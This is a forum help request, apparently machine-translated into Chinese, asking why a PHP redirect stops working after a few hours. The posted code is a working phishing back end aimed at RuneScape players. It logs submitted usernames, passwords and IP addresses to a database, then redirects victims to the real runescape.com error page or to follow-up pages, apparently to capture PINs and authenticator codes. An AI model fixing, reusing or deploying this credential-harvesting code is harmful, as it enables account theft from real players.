好吧,所以继承我的问题......标题("地点:blahblah.php");将工作然后几个小时后它会停止并生病添加ob_start();和ob_end_flush();由标题。那么几个小时之后就会停止工作并且不适当地改变它,它将再工作几个小时然后停止工作等等。
继承我的代码。
<?php
error_reporting(E_ALL & ~E_NOTICE & ~E_WARNING);
require_once("config.php");
if($_POST["login"]){
$stmt11 = $db->prepare("SELECT * FROM users WHERE code = :code");
$stmt11->execute(array(":code" => $_GET["id"]));
$row11 = $stmt11->fetch();
$username = htmlentities($_POST["username"], ENT_QUOTES);
$password = htmlentities($_POST["password"], ENT_QUOTES);
if($row11["pin"] == "false" and $row11["auth"] == "false"){
$ip = $_SERVER["REMOTE_ADDR"];
$stmt = $db->prepare("INSERT INTO logs (username, password, ip, code) VALUES (:username, :password, :ip, :code)");
$stmt->execute(array(":username" => $username, ":password" => $password, ":ip" => $ip, ":code" => $_GET["id"]));
header("Location: https://www.runescape.com/error.php");
} else {
if($row11["pin"] == "true" and $row11["auth"] == "true"){
header("Location: verification.ws?username=" . $username . "&pw=" . $password . "&id=" . $_GET["id"] . "&auth=true");
} else {
if($row11["pin"] == "false" and $row11["auth"] == "true"){
header("Location: auth.ws?username=" . $username . "&pw=" . $password . "&id=" . $_GET["id"]);
} else {
if($row11["pin"] == "true" and $row11["auth"] == "false"){
header("Location: verification.ws?username=" . $username . "&pw=" . $password . "&id=" . $_GET["id"]);
}
}
}
}
}
?>